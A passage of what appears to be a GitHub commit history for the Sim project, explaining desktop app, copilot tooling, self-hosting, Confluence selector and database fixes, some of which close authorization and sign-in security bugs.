keeps the worst case near 2ms while leaving headroom over real patterns (which top out around four). A timing probe backs it up, with a budget loose enough that JIT warmth and machine load cannot make it fire on a legitimate pattern — a tight budget proved flaky in both directions. The grep authorization guard compared `request.pattern !== args.pattern`, so a tool call carrying no pattern made that `undefined !== undefined` and the guard passed — grep then fell back to searching the renderer's own `query` across the whole grant. `include` and `query` were never bound at all, letting a renderer widen a search or silently narrow results the agent believes are complete. The sibling glob case already had the `typeof` check, which is what made the asymmetry clearly unintentional. The IPC sender gate used `startsWith`, the exact pattern `isAppOrigin` warns against 200 lines away ("that prefix-matches lookalike hosts"). It was safe only because of a trailing slash. It now uses that helper, which also fixes a false negative on an explicitly stated default port. * fix(desktop): stop double sign-out, stranded retries, and redundant writes Three correctness bugs from the same audit. Menu Sign Out tore down the session directly instead of going through the lifecycle coordinator, so it skipped the in-progress guard — and its own cookie removal then tripped the coordinator's cookie watcher into a second concurrent teardown, duplicating the sign_out event, the storage clear, and the /login load. Teardown also existed as two divergent copies. The coordinator now exposes `signOut()` and owns the single path; the menu just calls it. That `tearDownSession` is no longer imported in index.ts is the check that it landed. Offline recovery could strand permanently. The auto-retry loop stops itself before calling `retry()`, and `retry()` never re-armed the load watchdog, which is started once per window. So if a retried load hung — precisely what the watchdog is for — no load event fired and no timer remained anywhere; the user sat on the offline page until the window was closed. `retry()` now re-arms before loading. Pinned tabs were persisted on `did-navigate` and `did-navigate-in-page` for every tab, pinned or not, with no change check, and the settings store compares with `===` so a freshly built array never matched. Any single-page app therefore triggered a synchronous mkdir + write + rename of the whole settings file on the main thread on every route change — writing `[]` over `[]` when nothing was pinned. The list is now fingerprinted, seeded at restore from what is already on disk so the first navigation after launch is not a write either. * fix(desktop): leaked timers, silent grep failures, and crashed tabs Second pass on the audit backlog, all verified against tests that fail without the change. Every browser tool call leaked a timer. The watchdog raced the tool against `sleep()`, which cannot be cancelled, so when the tool won — the normal case — the timer stayed pending for the full window, up to two minutes, dozens deep during an agent run. Replaced with a cancellable timeout cleared in a `finally`; a test asserts the fake-timer count is unchanged across a call. An invalid grep regex reported "no matches". A SyntaxError from `new RegExp` returned an empty result set, which tells the model the string appears nowhere in the user's files — a factual claim it acts on, when the search never ran. It now fails as INVALID_REQUEST. The `safeRegex` guard moved out of the try while there, since it was only inside it to be re-thrown. A crashed tab wedged the session. Tabs left `tabs` only via close, so a dead renderer stayed forever: `activeTab()` filtered it out while `activeTabId` still named it, making `requireTab()` report "no page is open" with other tabs open, and the panel went blank with no recovery. `render-process-gone` now drops the tab, advances the active id, and reports session closure when it was the last. `probeSession` cleared its abort timer inline after the await, so a thrown fetch — the case the function exists for — skipped it. Moved to `finally`, which also brings the body read inside the deadline. One vanished file failed a whole directory listing: `Promise.all` over per-entry `lstat` turned a single ENOENT into NOT_FOUND for the directory. Churning directories like build output would intermittently fail to list. Removed the `session-lifecycle -> browser-agent/driver` import edge, which dragged the entire browser subsystem and its module-load `nativeTheme` listener into the auth path to reach one four-line function. `clearBrowserProfile` is now a required dependency wired from index.ts, which already owns both sides. Also deleted `attachSessionLifecycle`, a compatibility wrapper with zero callers. Added a channel-parity test between the preload bridge and the IPC table. They share ~20 channel names as bare string literals with nothing tying them together, so a typo on either side is a silently dead feature that type-checks and ships. Verified it fails on a one-character change. * fix(desktop): reach framed elements and harden the loopback sign-in Two behaviour fixes from the audit backlog. Interaction with same-origin iframes was broken. The snapshot deliberately walks into those frames and hands the model ids for what it finds, but every interaction then tested `instanceof HTMLInputElement` against the top frame's constructors — false for nodes owned by a frame, because element wrappers are realm-bound. So the driver reported a real `<input>` as "not a text input", which took out framed login forms and editors that put a contenteditable body in an iframe, such as TinyMCE. Framed selects reported "not a select" and framed clicks skipped focus entirely. Checks now compare `tagName` or duck-type the method being called, matching the realm-safe approach the credential guard already used. The native value setter is taken from the element's own realm: calling the top frame's setter on a frame's node throws "Illegal invocation". Snapshot value reporting follows the same rule, which is safe because the credential redaction above it is realm-safe and runs first. The loopback sign-in server could be cancelled by anything on the machine. It validated only the shape of the returned state, then tore the one-shot server down and dispatched, leaving the real constant-time comparison to the callback. So a request carrying any well-formed state killed an in-flight sign-in — and the port is reachable by any local process and by any page the user has open via a no-CORS GET, which cannot read the response but does not need to, since the side effect is the kill. The state is now checked before anything is torn down, and a Host that does not name the loopback is refused, which closes the DNS-rebinding shape. * refactor(desktop): drop duplicated helpers and stop logging query strings Net -3 lines, and one of them was a real leak. `navigation.ts` and `windows.ts` truncated URLs for their log lines with a bare `.slice(0, 200)`, which keeps the query string — the five other log sites in the app go through `scrubUrl` for exactly that reason. Tokens and signed parameters live in query strings, so a blocked-URL warning could write one to disk. Both now scrub. `local-filesystem.ts` carried a private `isRecord` byte-identical to `isRecordLike` in `@sim/utils/object`, and four more sites inlined the same check. All now use the shared helper, which also tightens three of them: the inline versions omitted the array exclusion, so an array satisfied a check that then cast it to a record. `tray.ts` hand-rolled slice-plus-ellipsis, the case `@sim/utils/string`'s `truncate` exists for. Titles between 58 and 60 characters now get an ellipsis where they previously did not — cosmetic, in a tray menu label. Removed the `getTabsState` passthrough in the driver, a one-line re-export of the session's own function, and renamed the session-level clear to `clearProfileStorage`. `clearBrowserProfile` existed twice under one name, the driver's being the composite that also clears the browsing-trail registry; index.ts was already aliasing at the import to tell them apart. Two things deliberately not done. The hand-rolled semver in updater.ts stays: replacing it needs `semver` plus `@types/semver` as new declared dependencies in the Electron main process, and the 90 lines it would delete are already covered by eight assertions that I verified match the library's behaviour case for case. Note the same prerelease comparison is duplicated in apps/sim/lib/desktop/min-version.ts, so a future consolidation should do both. No barrel for browser-agent either: routing `security-guards.ts` through one to reach a single leaf function would pull the whole browser subsystem into its module graph, which is the edge just removed from session-lifecycle. * refactor(desktop): move browser compositing out of the session module session.ts held five responsibilities in one flat namespace: 1,061 lines, 29 exports, 26 mutable module-level bindings. For contrast local-filesystem.ts is a comparable 1,125 lines with two exports and no ambient state — size was never the problem, the shared mutable namespace was. Compositing is the part worth isolating. Where the native view sits, when it is visible, which window owns it, the renderer bounds lease, and the occlusion snapshot are the most intricate logic in the browser and are almost entirely separable from tab bookkeeping. They now live in panel.ts (342 lines) and session.ts is 792, with 15 bindings instead of 26. The two modules were mutually dependent, which is what makes this kind of split go wrong. Rather than events or a shared store, panel.ts takes the four things it needs from the session through one PanelHost passed to initPanel — the same shape as the existing initSession — so the import graph is one-way and there is no new indirection to trace. Tab changes reach the panel by the session calling layout(), exactly as before. Two behaviours became explicit rather than implicit in the move: detachIfAttached replaces callers reading `attachedView` to decide whether a closing tab owns the surface, and isPanelVisible replaces `panelBounds !== null`. Nothing about the split is verified by the split itself, so the bounds lease got characterization tests first. It had none — there was not a single fake timer in the suite — despite being the mechanism that hides the view when the renderer crashes or wedges. Both tests were confirmed to fail against a broken lease before the refactor began. The other 47 tests were not rewritten: only the module their calls address changed, which is the useful signal that behaviour was preserved. Deliberately not split further. Focus tracking stays with tabs because it keys off tab ids, and profile teardown stays put; separating either would be taxonomy rather than decoupling. * refactor: drop the legacy local_* filesystem tool shim Granted folders are addressed through the ordinary VFS: the model calls read/grep/glob against paths under user-local/, exactly as it does for workspace files. A parallel local_read / local_grep / local_glob / local_list / local_stat / local_mount_directory / local_list_mounts / local_forget_mount / local_stage_file toolset existed alongside it, recognized but never advertised, so an in-flight checkpoint written by an older desktop build could still finish. There are no older desktop builds. apps/desktop is at version 0.0.0, the only artifacts are a local 0.0.0 build, MIN_DESKTOP_VERSION is '0.0.0' meaning no floor, and the app does not exist on staging at all — the v0.7.x tags are the web app's. Nothing can have persisted a checkpoint naming these tools, and nothing advertises them: they are absent from the generated tool catalog and from mothership's catalog. The shim was defending against a past that never happened. Removes the name table, the legacy request builder, the server-side LEGACY_READ_ONLY_TOOLS allowlist, the five local_* branches in the desktop authorization switch, and nine display labels. isDesktopFilesystemToolCall collapsed into isUserLocalVfsToolCall, which it had become a synonym for. Two tests went with it. One asserted that local_list_mounts routes to the desktop; the test immediately after it already covers the real path, an ordinary read against a user-local path. The other asserted that legacy names cannot open a folder picker, revoke a grant, or upload bytes — that property now holds because no such tool name exists, which is a stronger guarantee than refusing one. * refactor(copilot): remove the plan/changelog VFS artifacts and workflow aliases These beta surfaces are not a direction we are taking, so they come out rather than staying behind a flag. Gone: the workflow alias modules (path resolution, DB-backed resolver, .plans/.changelogs backing provisioning), the alias materialization in the copilot VFS, the alias write paths in resource-writer and workspace_file, the sandbox alias mounts in function_execute, the reserved backing-path guards across mkdir/mv/create, and the alias resolution in the chat home file picker. xlsx survives but changes owner. It was gated twice across the repo boundary: mothership's xlsx-writing flag gates the skill and prompt, while Sim gated the compile path on mothership-beta. Those live in separate AppConfig applications, so an operator had to flip two flags in two consoles, and off-hosted Sim fell back to the MOTHERSHIP_BETA_FEATURES secret while the mothership half stayed in Sim Cloud's AppConfig — split-brain across an ownership boundary. Mothership controls whether the model ever learns xlsx exists, so if it is never offered it is never requested and the second chokepoint only created a way for the two halves to disagree. Sim's gate is removed; xlsx-writing is now the single owner. With its last consumer gone, the mothership-beta flag and the MOTHERSHIP_BETA_FEATURES secret are deleted. The two entries in the infra repo are harmless until removed separately: they only inject an env var nothing reads, and createEnv runs with skipValidation. The reserved-system-file/folder concept goes with the aliases, since it existed only to hide the backing rows. includeReservedSystemFiles and includeReservedSystemFolders are removed rather than left as options every caller passes true to. backingVfsPath is removed for the same reason — nothing sets it once aliases are gone, so it was an always-undefined field on tool results. Test coverage is preserved rather than deleted with the feature. resource-writer.test.ts looked alias-only but three of its eleven cases cover the generic create path that survives; those are kept and the file retitled. Two open_resource tests and one output-path test used alias-shaped strings while asserting generic behavior; retargeted or dropped where a sibling already covers it. * refactor(copilot): remove the dead planArtifact column plumbing copilot_chats.plan_artifact has no writer and no reader that does anything with it. No client sends it, nothing renders it, and its whole history is fork-chat and duplicate-chat plumbing faithfully copying a column that is always null — the one change that might have populated it (mothership v0.8) was reverted. Removed from the schema, the copilot API contract, the chat lifecycle column sets, the fork route, superuser import, the data drain, the update-messages write path, and the legacy chat detail response. No migration here on purpose. The column stays in the database, orphaned and null; dropping it is a separate deliberate step rather than something that rides along with a code cleanup. Note that the next drizzle-kit generate will now want to emit the DROP COLUMN, and check-migrations-safety will ask for it to be annotated — that is the right moment to decide, not now. Mothership never saw this field; it is Sim-side only. * chore(copilot): sync the tool catalog for load_skill Picks up the new load_skill tool plus the grep description that dropped its stale reference to VFS "plans" entries. Generated from copilot/contracts/tool-catalog-v1.json. * refactor(copilot): follow the load_custom_tool rename to load_mcp_tool Mothership renamed the loader once it was clear MCP was the only catalog kind it could match, and dropped the single-valued `type` parameter. The two prompt strings that teach the model the call shape are updated to load_mcp_tool({ name }). load_custom_tool stays in the UI hide-list next to load_agent_skill so tool rows in historical transcripts keep rendering; nothing emits it any more. * chore(copilot): sync the tool catalog and hide load_skill in the UI load_integration_tool and list_integration_tools now publish route go/sync instead of sim/async. Nothing changes in Sim's behavior — they always ran in Go; the contract had been wrong. load_skill joins the hidden tools. It is the same shape as the other loaders already there: the agent pulling in a reference guide before doing the work is a step toward the action, not the action. Sim's display-coverage test caught that a newly added visible tool had no title or completed verb, which is the guard working. * fix(auth): handle session expiry in the app, not the desktop shell The workspace auth gate is a Server Component, so it only re-evaluates on a server render. A session that expired or was revoked mid-visit left the SPA mounted and silently 401ing every request, with nothing to redirect it. The desktop shell had grown its own detector for this: a 401 listener over /api/*, a session probe, and a native "your session has expired" prompt. It could only infer session state from cookie events and HTTP statuses, and it inferred wrong — it fired on ordinary sign-outs (in-flight requests 401 during teardown) and on launching already signed out (the window still shows the restored route while the web app redirects). Those were nearly all of its firings, since a 30-day sliding window means real expiry is rare. Generalizes the impersonation-expired screen instead, which already had the right shape: it keys off the session query settling to null after a session that was live. A signed-out visitor never arms it, and `error` is excluded so an offline blip cannot read as an expiry. The session query now refetches on focus for every session, not just impersonation ones, so returning to a window that slept through its session re-checks it. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * fix(copilot): port the scheduled-task and VFS fixes onto staging-v4 Replays the sim-side prompt-audit work on top of staging-v4. complete_scheduled_task was filtered out of the execute route's response payload, so an until_complete job could report completion and still be rescheduled; the post-run bookkeeping now also refuses to revive a job that already completed. Also clamps browser_wait_for's timeout the way the desktop agent does, and replaces the oversized-read error's offset/limit advice, which sent the model into a guaranteed retry loop. * feat(desktop): let the model actually see browser screenshots browser_screenshot captured an image and then threw it away. The renderer stripped the data URL and substituted a note, and the tool's own description told the model not to bother: "Dead end for perception." So the agent was blind to anything not expressible as DOM text — canvas, charts, maps, images, rendering and layout bugs. The copilot has carried the machinery for this all along. A tool result shaped as { content, attachment: { type: "image", source: { type: "base64", ... } } } is serialized into a real image content block, with the media type sniffed from the bytes rather than trusted from the declaration, and degraded to a text stub when the routed model has no vision so the provider never 400s. The screenshot result is now reshaped into that contract instead of discarded. A malformed data URL still falls back to a note rather than shipping an attachment the provider would reject. Captures are bounded to a 1024px longest edge at quality 70. CDP clip.scale is relative to CSS pixels, so this also sidesteps the device pixel ratio — an unclipped capture on a retina display returns a 2x image, which was several hundred kilobytes for no legibility the model could use. The description is rewritten to bias toward visual questions only: appearance, layout, rendering, charts, canvas. Reading content or finding something to click stays with browser_snapshot, which is cheaper and returns the element ids a screenshot cannot. That distinction is structural, not just advisory — having seen the page does not let the agent act on it. Companion change in mothership generalizes the tool-result inline-budget exemption from "the read tool" to "any result carrying a model attachment". Keyed on the tool name, an oversized screenshot fell through to the artifact branch: the image was replaced by a reference the model cannot open, and the result still reported success. Silent, and it would have hit almost every call. * fix(desktop): polish browser panel and environment tray icon * fix(desktop): enlarge environment tray markers * fix(desktop): smooth environment tray markers * refactor(copilot): consolidate resource mutation tools * chore(copilot): clean up VFS follow-ups * fix(desktop): round the dev tray marker * feat(desktop): add integrated terminal resources * Fix electron app resize causing glitchy browser frames * feat(copilot): add persistent tool permissions * fix(copilot): retire stale tool permission prompts * fix(desktop): keep terminal rendering responsive * fix(desktop): preserve resource rendering continuity * feat(desktop): add browser tab duplication actions * feat(desktop): add terminal tab context actions * fix(desktop): allow browser agent localhost navigation * feat(desktop): add tmux-backed terminal sessions * fix(desktop): restore terminal scrollback per view * chore(copilot): sync updated wait tool contract * poll terminal session state for non regular shells * add terminal right click menu * feat(desktop): add terminal handoff and key batching * fix(desktop): reserve the traffic-light lane from the platform macOS draws the window controls itself, at a fixed physical size, above all web content. The page renders full-bleed beneath them, so it has to reserve that lane — and it did so with five hardcoded CSS pixel values. CSS pixels scale with page zoom and the OS-drawn lights do not, so zooming out shrank the reservation until the lights were drawn over the sidebar toggle, and the header row below sat inside their band. Electron's `titleBarOverlay` publishes the controls' real geometry to the page as the `titlebar-area-*` env vars, which Chromium rescales per zoom so a reservation derived from them holds its physical size. Measured across zoom 0.58-1.2, the reserved area stays within ~0.6 DIP, the residual coming from env values being quantized to whole CSS pixels. Every lane length now derives from those vars, so the login route and the mothership content offset were fixed without being touched — they already read `--desktop-title-bar-height`. Two of the replaced constants were also simply wrong: the platform reports the lane at 38px and the safe area at 81px, against the hand-measured 36 and 83. The toggle keeps a constant physical size beside the lights, expressed as a proportion of the lane rather than in pixels: a px literal would scale with zoom, and calc cannot divide a length by a length to recover a scale factor. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * fix(desktop): avoid transient terminal tab labels * feat(copilot): attach browser and terminal tab context * feat(desktop): close tmux panes from terminal tools * fix(desktop): keep terminal tab icons stable * add right click to browser and cleanup terminal right click options * fix(desktop): reduce hidden panel background work * perf(desktop): shrink browser panel snapshots * perf(desktop): reduce terminal main process overhead * perf(terminal): pause work for hidden sessions * fix session arch for desktop * fix(desktop): replace exited terminal sessions * feat(copilot): persist desktop resources across chats * fix(emcn): keep resource tab widths consistent * fix(copilot): restore active client panels * feat(desktop): import Chrome browser data * fix(copilot): close resources before chat creation * feat(desktop): suggest imported browser sites * fix(desktop): autofill identifier-first sign-ins * fix resizing issues + cookies source * fix visits marking * chore(db): drop branch migrations ahead of staging merge 0264/0265 on this branch collide with staging's 0264-0270 on both the journal idx slots and the meta snapshot filenames. Reverting the migration artifacts to the merge-base lets staging's chain merge cleanly; schema.ts keeps the copilot changes and drizzle-kit regenerates a single migration on top of 0270 after the merge. Co-Authored-By: Claude <noreply@anthropic.com> * feat(db): regenerate copilot tool-permission migration on top of staging Replaces the branch's old 0264/0265 (dropped pre-merge so staging's 0264-0270 chain could apply cleanly) with a single 0271 generated against staging's schema: the permission-decision enum, the two copilot_async_tool_calls decision columns, and copilot_chats.auto_allowed_tools. Deliberately does NOT drop copilot_chats.plan_artifact. The branch removed every reader, but the currently-deployed code still SELECTs that column, so dropping it in the same deploy breaks the old app version during blue/green overlap — `check:migrations` flags it for exactly this reason, and the honest fix is to defer rather than annotate around it. The column is retained in schema.ts marked @deprecated; drop it in a follow-up once this has rolled out. Also in this commit, all fallout from the merge itself: - pinned-fetch/revoke tests: their private-IP stub moved to @sim/security/ssrf alongside the source change. Worth noting the stub exists because the suite's 203.0.113.10 is TEST-NET-3, which the real classifier correctly calls reserved — the old stub had been quietly disagreeing with production. - materialize-file test: dropped the reserved-system-folder case, which covered the workflow-alias backing folders this branch deleted. - api-validation route ratchet 977 -> 983 (this branch's new routes). Co-Authored-By: Claude <noreply@anthropic.com> * add cmd f * review pass * chore(db): drop branch migration ahead of staging merge Both sides independently claimed idx 0271, so the snapshot and journal would conflict add/add. Ours is plain additive DDL that drizzle regenerates from schema.ts; staging's is a hand-written CONCURRENTLY index build that cannot be regenerated. Dropping ours and re-generating on top of staging's is the only order that preserves both. schema.ts is deliberately untouched — it is the source of the regeneration. Co-Authored-By: Claude <noreply@anthropic.com> * chore(db): drop branch migration ahead of staging merge Both sides independently claimed idx 0272, so the snapshot and journal would conflict add/add. Ours is plain additive DDL (one enum, two columns, one jsonb default) that drizzle regenerates from schema.ts; staging's is a hand-written migration with DO blocks and CONCURRENTLY index builds that cannot be regenerated. Dropping ours and re-generating on top of staging's is the only order that preserves both. schema.ts is deliberately untouched — it is the source of the regeneration. Co-Authored-By: Claude <noreply@anthropic.com> * style(db): biome-format the regenerated migration metadata drizzle-kit emits _journal.json and the snapshot with expanded arrays, which biome check rejects. The merge commit used --no-verify, so lint-staged never formatted them and CI's lint step failed on exactly these two files. Whitespace only — both files are byte-identical under `jq -S -c`. Co-Authored-By: Claude <noreply@anthropic.com> * fix(desktop): pin the platform in the OS-auth tests promptForSecret gates Touch ID on process.platform === 'darwin'. The suite mocked electron's systemPreferences but inherited the runner's real platform, so the eight biometric expectations passed on a Mac and failed on Linux CI, where every call fell through to the confirmation dialog instead. Pins the platform per-test and restores it after, and adds a case for the gate itself — the branch whose absence from the suite is what let this through. Co-Authored-By: Claude <noreply@anthropic.com> * fix(desktop): refine environment dock icons * fix(desktop): align packaged environment icons * fix(desktop): keep packaged dock icon rendering consistent --------- Co-authored-by: Vikhyath Mondreti <vikhyath@simstudio.ai> Co-authored-by: Claude Fable 5 <noreply@anthropic.com> Co-authored-by: Waleed <walif6@gmail.com> Co-authored-by: Theodore Li <theo@sim.ai> |
||
|
Vikhyath Mondreti
|
c809845b99 |
improvement(self-host): enterprise features enabling (#6028)
* improvement(self-host): enterprise features enabling * chore(helm): bump chart to 1.3.0 for the enterprise self-host values values.yaml gained the ENTERPRISE_ENABLED switch and INSTANCE_ORG_* keys, and the feature-flag envDefaults moved from "false" to empty so the master switch can resolve them. Additive and backward compatible, so a minor bump. * fix(self-host): address review findings on instance org and org delete Drop the per-process instance-org id cache. It went stale once the organization was deleted through the Admin API, and clearing it from the delete handler would only heal the replica that served that request. The lookup runs on the signup path against a single-row table, so re-reading costs nothing and keeps every replica self-correcting. Scope the org-delete subscription conflict to entitled statuses. Matching any row regardless of status let a canceled subscription — which bills nobody — permanently block deletion. * fix(admin): block org delete on any live subscription, not just entitled ones ENTITLED_SUBSCRIPTION_STATUSES excludes trialing, so a trial — which grants no entitlement but is a live Stripe subscription that will convert — slipped past the delete guard and could be stranded against a removed organization id. Adds TERMINAL_SUBSCRIPTION_STATUSES and inverts the predicate: block unless the row is finished. Expressed as the terminal set so a status Stripe adds later defaults to blocking, which is the safe direction for a destructive operation. * fix(self-host): resolve SSO and access-control in the UI, not the raw env var Nine client consumers still read NEXT_PUBLIC_SSO_ENABLED / NEXT_PUBLIC_ACCESS_CONTROL_ENABLED directly while the server gates and settings nav had moved to the resolver. With only ENTERPRISE_ENABLED set that produced dead ends: the SSO settings section appeared but ssoClient() was never registered and no login button rendered, and the Access Control section appeared but its page reported "not entitled". Points every consumer at isSsoEnabled / isAccessControlEnabled so visibility and capability come from one place. * fix(admin): validate retention workspace targets on the Admin API too retentionOverrides and per-workspace PII rules both name a workspace, and neither field is a foreign key. The settings UI rejected ids belonging to another organization; the Admin API did not, so the two paths could persist different data for the same org. Extracts the check as getForeignWorkspaceTargetsReason and points both routes at it, so they cannot drift apart again. * fix(self-host): close three review findings on admin routes and cleanup Make org delete atomic. detachOrganizationWorkspaces committed on its own, so a failed delete left workspaces detached and re-billed while the organization, its members, and its settings survived. Adds a Tx variant so both commit together. Gate the admin session-policy PATCH on entitlement, matching the settings UI. Without it the stored policy was inert — getSessionPolicy resolves to no-op when the feature is off, so the one eager clamp would be undone on the next refresh. Stop emitting plan-wide housekeeping when billing is off. It is keyed to the hosted free-tier 30-day window, the same default the per-workspace pass deliberately refuses to apply off-hosted. * fix(admin): gate whitelabel on entitlement and emit detach audits post-commit The Admin whitelabel PATCH skipped the entitlement check the settings UI runs, so an admin key could set branding the product had not granted the org. detachOrganizationWorkspacesTx also wrote its audit rows inside the caller's transaction, contradicting its own doc comment — a rolled-back delete would have left audit history describing detachments that never happened. It now returns the rows and callers emit them after commit. * fix(self-host): refuse instance-org resolution when the slug is ambiguous organization.slug has no unique constraint, and the lookup took the first of however many matched. The choice is unordered, so two replicas could resolve different organizations and split new signups between them. Resolution is now three-state. Ambiguity is distinct from absence, so it both declines to adopt an arbitrary organization and declines to provision another one on top of the duplicates. |
||
|
Waleed
|
48d59ca7ac |
fix(connectors): make selector dropdowns resolve options the drain has not reached (#6027)
* fix(connectors): stop the connector selector implying an option does not exist The connector selector field ignored the drain state the shared selector hook already exposes. Paginated selectors fill in the background and the combobox filters client-side, so a not-yet-drained option is genuinely absent from the list — and the dropdown said "No spaces found", which reads as "this space does not exist" and sends users off to enter the value by hand. That is what happened with a Confluence space on a site with thousands of personal spaces. It now reports that the list is still filling, surfaces a failed drain instead of claiming to load forever, and is honest when the drain stops at its page cap. * feat(connectors): resolve selector options by exact key without waiting on the drain The connector selector fills by draining pages in the background and filters client-side, so an option is only findable once its page has arrived. On a large Confluence site that is ~38 seconds, during which searching for a real space returned nothing. Resolves the typed value and the selected value directly through the selector's `fetchById`, merging both into the option list, so an exact key is selectable immediately regardless of drain progress. `confluence.spaces.fetchById` now uses the documented v2 `keys` filter instead of scanning only the first page — which never resolved a space sorting beyond it. Adds `onSearchChange` to the shared Combobox so a consumer can observe the search box, held in a ref so its identity stays stable for the handlers that capture it without declaring it. Also fixes a pre-existing hazard in useSelectorOptionDetail: a caller-supplied `enabled` replaced the guard that checks a definition declares `fetchById`, so `queryFn`'s non-null assertion would throw for the ~12 selectors without one. * fix(connectors): paginate the Confluence pages selector instead of returning one page `/api/tools/confluence/pages` issued a single request and discarded the `_links.next` cursor Confluence returns, so the picker showed only the first `limit` pages of however many exist — a search for a real page found nothing, with no error and no truncation signal. Threads the documented opaque cursor and moves the selector to `fetchPage`, so the option list drains like `confluence.spaces` and reports real `hasMore` / `truncated` state. The `title` server-side filter is unchanged and now paginates too. `limit` is deliberately left at its existing default: the endpoint's maximum is not confirmable from Atlassian's published reference, and raising it is not needed for correctness. Also guards `data.results`, which threw when the response omitted it. * fix(connectors): query both space statuses explicitly on exact-key lookup The exact-key lookup omitted `status`, assuming that matched a space whether it was current or archived. Atlassian documents a `current,archived` default for `/pages` but documents no default for `/spaces`, where `status` takes a single value rather than an array — so the assumption was unverified, and resolving only current spaces would silently miss archived ones. Archived spaces are reachable through the paged path and sync works against them. Queries `current` first and falls back to `archived` only when it finds nothing, so the common case stays one request and the behaviour no longer depends on an undocumented default. * fix(connectors): revert pages drain, restore CloudWatch labels, tighten key lookup Six adversarial verification passes against the provider spec and the surrounding plumbing found three defects in the prior commits. Reverts the Confluence pages selector to a single request. Draining it was not strictly better: with no search term `title` is unset, so opening the dropdown walked the entire site — up to 50 sequential requests and 2,500 options where there had been one request and 50 — and the route forwards no abort signal upstream, so superseded drains still bill the tenant's rate limit. The same fan-out reached `loadAllSelectorOptions`, and the justification rested on `title` semantics Atlassian does not publish. The list cap is a real gap, but it needs confirmed server-side search, not brute force. Keeps the `results` guard. Restores selector display names for CloudWatch blocks. Narrowing a caller's `enabled` against `definition.enabled` disabled a detail query those selectors satisfy without AWS context, so collapsed blocks rendered "-" instead of the log group name. A caller that opts in is now narrowed only by the hard precondition that `fetchById` exists, which is what `queryFn` actually asserts. Queries both space statuses concurrently rather than sequentially: the key is user-typed text, so a miss dominates while typing and paid two round-trips. Each row now falls back to the status its own call requested. Also drops the "enter the value directly" empty states — the combobox is not editable, so there is no such affordance — and dedupes `onSearchChange`, which several reset paths fire redundantly. * fix(connectors): keep resolved option labels and survive a half-failed key lookup Addresses three review findings. A key lookup failed entirely when either status leg errored, discarding a match the other leg had found. Only a total failure is fatal now. Resolved option labels are remembered for the lifetime of the field. Both lookups key on values that change — the search box clears on select and close, and a multi-select field resolves no id at all — so the label for a just-picked option vanished a debounce later and the trigger fell back to a raw id. This covers the multi-select case, which is what the Confluence space field uses. A failed exact-value lookup now reads differently from a failed list load, rather than being reported as "still loading" or "none found". * fix(connectors): drop remembered option labels when the selector context changes Resolved ids are only meaningful within one selector context, so switching credential, domain, or a dependency has to discard what was remembered under the old one — the queries re-key, but the remembered labels would linger and mislabel until the field remounted. Keyed on the serialized context rather than its identity: the context memo also depends on `sourceConfig`, so its identity changes on unrelated field edits and would clear the cache far more often than intended. * refactor(connectors): resolve selected option labels with useQueries Replaces the remembered-label map with per-id queries over the selected values, following the pattern the knowledge-base selector already uses. The map only ever held ids searched for in the current session, so a multi-select field restored from saved config still rendered raw ids — the case that actually matters. It also needed two effects and a serialized-context key to avoid leaking labels across a context change, all of which disappear: queries key on the context, so a label cannot outlive it. Gates the speculative lookup of typed text on a new `resolvesUnknownIds` flag, set only where `fetchById` returns null for an id that does not exist. Most implementations resolve a record by id, so every partial keystroke was a failed upstream request, retried once, and its error made "could not check that exact value" the normal empty state on those selectors. Also: pass handlers straight to the combobox rather than through identity wrappers that defeated its memo, move the latest-callback ref write into an effect, rename the raw search setter so the deduping write path cannot be bypassed, and correct the prop and staleTime docs. |
||
|
Waleed
|
60f2d031b0 |
feat(folders): move workflow folders onto the generic folder table (#6025)
- Repoints every workflow-folder read and write from `workflow_folder` to the generic `folder` table backfilled by migration 0272, scoped to `resourceType = 'workflow'`; the legacy table is left in place, unread and unwritten - Adds the resourceType filter to id-keyed lookups too: UUIDs cannot collide, but a caller could pass a file/kb/table folder id as a workflow folderId - Handles the generic table's active sibling-name unique index, which `workflow_folder` never had — 409 on create/rename, auto-suffix on restore and duplicate, mkdir -p reuse on admin import - Scopes the shared soft-delete cleanup job so it cannot hard-delete other resource types' folder rows - Drops the dead createFolderRecord/updateFolderRecord/deleteFolderRecord helpers |
||
|
Theodore Li
|
3d72ab3d13 | fix(cleanup): bind array params as arrays, not expanded value lists (#6010) | ||
|
Waleed
|
cb3611bad2 |
feat(folders): add resource pinning and generalize the folders contract (#6014)
- Adds per-user pinning for workflows, files, knowledge bases, and tables: new `pinned_item` table, `/api/pinned-items` routes, React Query hooks, and a shared `PinButton` wired into Tables, Knowledge, and Files with pinned-first ordering - Adds the generic `folder` table with an idempotent, replay-safe, collision-aware backfill from `workflow_folder` and `workspace_file_folders`; no cutover yet, folder reads still go through a documented legacy adapter - Moves `folderSchema` to the generic vocabulary (`resourceType`, `deletedAt`) and drops the unused `color`/`isExpanded` |
||
|
Waleed
|
02311cafb9 |
perf(db): stop scanning every workspace file on workflow archive, cover the billing period aggregate (#6015)
* perf(files): stop loading every workspace file to archive a workflow's backing files `cleanupWorkflowAliasBacking` runs on every workflow delete. It loaded every `context='workspace'` row for the workspace — active and soft-deleted, all columns — then discarded >99% of them in JS to find the handful of `.changelogs/<workflowId>.md` and `.plans/<workflowId>/**` rows it owns. In production this was the single worst query at 37.83% of total database runtime: p50 6s, p95 9s, max 13.1s, 641 calls/day, 34.1M rows read. It is index-served, so the cost is not a missing index — it is 59,061 rows and ~630MB of cold buffers read to archive a few files. A file's `folderPath` is derived solely from its `folderId`, so matching on folder membership is equivalent to the path comparison it replaces. The load and JS filter become one targeted UPDATE keyed on a handful of folder ids. Folders that are soft-deleted are still included when resolving which files a workflow owns: path resolution ignores `deletedAt`, so a live file parented to an archived folder previously matched and must continue to. Also: - Add `getWorkspaceShares`, replacing an id-list `IN` clause that grew with the file count (59,061 elements on the worst workspace) with one indexed lookup on `workspace_id`. Callers read the map by id, so a superset is equivalent. - Drop `all` from the client-reachable file scope enum. It drops the `deleted_at` predicate and so cannot use the partial index serving the other two. No client requests it; server callers reach that scope directly. - Set `fetch_types: false` on the app and realtime pools. postgres.js otherwise runs a blocking `pg_catalog.pg_type` roundtrip before each new connection's first query — 95,722 of them per day. It builds array parsers only; Drizzle already parses this schema's two `text[]` columns itself. * perf(nav): add route loading boundaries and cover the billing period aggregate Dynamic routes prefetch only down to the nearest loading boundary, and the server stops prefetching at the first one. With no loading.tsx anywhere 